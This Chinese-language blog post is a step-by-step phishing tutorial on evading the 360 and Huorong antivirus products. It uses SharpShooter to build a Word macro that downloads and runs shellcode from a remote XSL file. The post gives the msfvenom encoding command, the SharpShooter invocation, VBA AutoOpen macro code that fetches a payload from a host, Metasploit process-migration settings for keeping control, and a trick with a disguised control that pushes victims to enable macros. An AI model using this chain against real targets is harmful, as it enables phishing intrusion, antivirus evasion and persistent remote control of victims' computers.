xsl 访问其他xml_加载远程XSL文件的宏免杀方法

前言

打点越来越难了,社工钓鱼会是最常见的攻击手段,0day会是最有效的攻击手段,物理渗透会是危害最大的攻击手段。

在钓鱼攻击中木马的形式主要如下:

  • Office

  • DLL劫持

  • 假冒加固工具

  • 木马捆绑

通常办公软件Office具有最大的安装量,将文档插入邮件中已经是惯用的工作方式。但是Office常见的攻击方法:

  • 0day

  • 已知CVE漏洞

  • DDEAUTO

  • 注入执行命令

第一种方法直接跳过,已知的CVE漏洞特征太明显,免杀成本和技术含量太大了。DDEAUTO和注入执行命令直接被杀软限制的很死。最后只能靠宏了,虽然默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知。

通过收集宏免杀的常用的方法和测试,发现加载远程 .xsl文件可以绕过国内常用的杀软360全家桶和火绒成功上线。

SharpShooter

通过收集和测试一些开源的宏免杀的项目,发现了一个很好的项目,国外一个安全团队写的钓鱼框架。其中一个工具就是可以生成一个VBA宏文件,这个宏文件会用XMLDOM去加载远程的 .xsl文件。

具体原理和利用分析见文章:

Macros and More with SharpShooter v2.0

更多的框架利用可以看项目介绍:

项目地址:https://github.com/mdsecactivebreach/SharpShooter

利用测试

生成payload.bin

首先我们可以用 CobaltStrike或者 Metasploit生成二进制格式的shellcode,即后缀为 bin的文件。

处理payload.bin

然后利用 msfvenom对 payload.bin,因为 SharpShooter要求shellcode中不能含有空字节。

msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

生成xsl和macro

如下命令生成 .xsl文件和 macro文件:

SharpShooter.py --stageless --dotnetver 2--payload macro --output foo --rawscfile shellcode-encoded.bin --com xslremote --awlurl http://192.168.0.104:80/foo.xsl

简单介绍一下上面的几个参数:

  • --dotnetver:为目标的.net版本,可选2或者4

  • --awlurl:为xsl存放地址

68fa9f9aaa914a77863d3945cba52a2a.png

生成的 foo.macro内容很简单,代码如下:

SubAuto_Open()

Set XML = CreateObject("Microsoft.XMLDOM")

XML.async= False

Set xsl = XML

xsl.Load"http://192.168.0.104:80/foo.xsl"

XML.transformNode xsl

EndSub

创建一个对象加载远程的xsl文件。如果需要使函数 Auto_Open()加到 AutoOpen()方法里,这样就可以在打开word文档时就能运行宏,具体代码如下:

SubAutoOpen()

Auto_Open

EndSub

SubAuto_Open()

Set XML = CreateObject("Microsoft.XMLDOM")

XML.async= False

Set xsl = XML

xsl.Load"http://192.168.0.104:80/foo.xsl"

XML.transformNode xsl

EndSub

foo.xsl文件为 SharpShooter处理后的shellcode。

6ae72e665eb76ae430078307354b2823.png

我们可以把 foo.xsl传到自己的vps或者公共下载网站,然后修改vba代码中的地址即可。再讲vba代码加到word或excel文档中即可。

进程迁移

office宏加载远程的 .xsl文件有个缺点就是,点击启用宏后word进程会崩掉,如word进程被结束了,Cobalt Strike或者Metasploit会掉线。所以我们要做的是,在目标上线的时候就自动迁移到其他进程上。

处理方法:

  • Cobalt Strike:通过插件实现上线后自动迁移进程,Beacon Handler Suite

  • Metasploit: 在设置监听的时候可以设置: setautorunscript migrate-N explorer.exe或setautorunscript-f

这样可以实现在word进程被关闭后,得到一个新的会话,即持久的控制目标。

演示视频

引导性处理

为了更好去引导目标启用宏可以如下处理:

第一步:进入开发工具,选择插入控件---其他控件---Microsoft RDP Client Control*

3feac9360f8a08593503b645fb636e2b.png

第二步:设置控件属性内的Sever为localhost StartConnection为1,即点开自启动

36f40b191899e8d6084e77b7ae4b31d8.png

第三步:插入vba代码

66fdf60f13b26b998a0f068038c4947d.png

设置完成后,启用宏的提示就变成了 部分活动内容已被禁用,启用内容。

16bb393c5b4c6ab0057b7afe21c8cc49.png

这样就更好的去引导目标启用宏了。

总结

站在巨人的肩膀上

以上的思路和方法是最近一个星期在 github、 twitter和国内外的安全网站论坛上收集和测试得到的结果。然后自己做的一个总结,有兴趣的师傅可以自己研究 SharpShooter这个项目,并关注我们的微信公众号,后续我们会继续分享一些思路和方法。

Reference

https://www.secquan.org/Discuss/1070836

https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/

https://github.com/mdsecactivebreach/SharpShooter

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值